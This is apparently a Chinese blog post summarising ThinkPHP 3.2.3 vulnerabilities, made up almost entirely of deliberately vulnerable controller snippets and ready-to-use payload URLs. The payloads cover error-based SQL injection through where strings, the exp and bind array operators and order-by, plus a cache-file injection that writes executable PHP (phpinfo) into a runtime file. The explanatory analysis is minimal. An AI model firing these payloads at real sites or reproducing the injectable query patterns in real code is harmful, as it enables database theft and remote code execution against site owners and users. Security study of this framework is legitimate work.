Thinkphp3.2.3漏洞总结
这里分析一下 Thinkphp3.2.3里面的一些漏洞问题
Where注入
在控制器中写个利用demo, 字符串 方式作为where传参时存在注入
public function getuser(){
$user = M('users')->where('id='.I('id'))->find();
dump($user);
}
下断点分析

中间的过程有点复杂,我就在返回 sql 语句的出下了断点,可以看到是类似于 where (1=1)
的形式

并且好像也没有过滤什么

payload
http://host-2/index.php?m=Home&c=Index&a=getuser&id=1) and extractvalue(0x0a,concat(0x0a,(select version())))--+

exp注入
demo如下
public function getuser(){
$User = D('users');
$map = array('id' => $_GET['id']);//必须使用 全局数组传参
$user = $User->where($map)->find();
dump($user);
}

payload
http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=exp&id[1]==1 and extractvalue(0x0a,concat(0x0a,(select version())))--+

太菜了,师傅们的分析文章看不懂
bind注入
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('user')->where($data)->save($uname);
dump($user);
}
payload
http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

find/select/delete注入
参考文章
https://xz.aliyun.com/t/2629#toc-3
order by注入
public function user(){
$data['username'] = array('eq','admin');
$user = M('users')->where($data)->order(I('order'))->find();
dump($user);
}
payload
order=id and(updatexml(1,concat(0x7e,(select user())),0))

缓存漏洞
在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下:
F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。
S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。
public function test(){
S('name',I('test'));
}
我们传入 test
的值后,会保存在 /Application/Runtime/Temp/md5('name').php
文件里面,里面的值是将我们传入的值反序列化进去的
payload
http://host-2/index.php?m=Home&c=Index&a=test&test=%0aphpinfo();/*

%oa
先换行跳过 //,在使用 /*
注释符注释掉后面的 引号